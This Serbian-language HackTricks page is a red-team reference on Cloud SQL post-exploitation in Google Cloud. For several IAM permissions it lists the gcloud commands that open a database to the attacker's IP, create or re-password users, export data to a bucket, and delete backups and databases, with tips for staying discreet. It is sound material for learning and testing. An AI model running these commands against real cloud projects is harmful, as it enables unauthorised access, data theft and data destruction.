GCP - Cloud SQL Post Exploitation

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Cloud SQL

Za više informacija o Cloud SQL, proverite:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Da biste se povezali sa bazama podataka, samo vam je potreban pristup portu baze podataka i da znate korisničko ime i lozinku, nema zahteva za IAM. Dakle, lak način da dobijete pristup, pod pretpostavkom da baza podataka ima javnu IP adresu, je da ažurirate dozvoljene mreže i dozvolite svojoj IP adresi da joj pristupi.

bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Takođe je moguće koristiti --no-backup da ometate rezervne kopije baze podataka.

S obzirom na to da su ovo zahtevi, nisam potpuno siguran koje su dozvole cloudsql.instances.connect i cloudsql.instances.login. Ako znate, pošaljite PR!

cloudsql.users.list

Dobijte spisak svih korisnika baze podataka:

bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Ova dozvola omogućava kreiranje novog korisnika unutar baze podataka:

bash
gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Ova dozvola omogućava ažuriranje korisnika unutar baze podataka. Na primer, mogli biste promeniti njegovu lozinku:

bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Backup-i mogu sadržati stare osetljive informacije, pa je zanimljivo proveriti ih.
Vratite backup unutar baze podataka:

bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Da bi se to uradilo na diskretniji način, preporučuje se da se kreira nova SQL instanca i da se podaci povuku tamo umesto u trenutno aktivnim bazama podataka.

cloudsql.backupRuns.delete

Ova dozvola omogućava brisanje rezervnih kopija:

bash
gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Izvezite bazu podataka u Cloud Storage Bucket kako biste mogli da joj pristupite odatle:

bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>

cloudsql.instances.import, storage.objects.get

Uvezi bazu podataka (prepiši) iz Cloud Storage Bucket-a:

bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Obriši bazu podataka iz db instance:

bash
gcloud sql databases delete <db-name> --instance <instance-id>

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks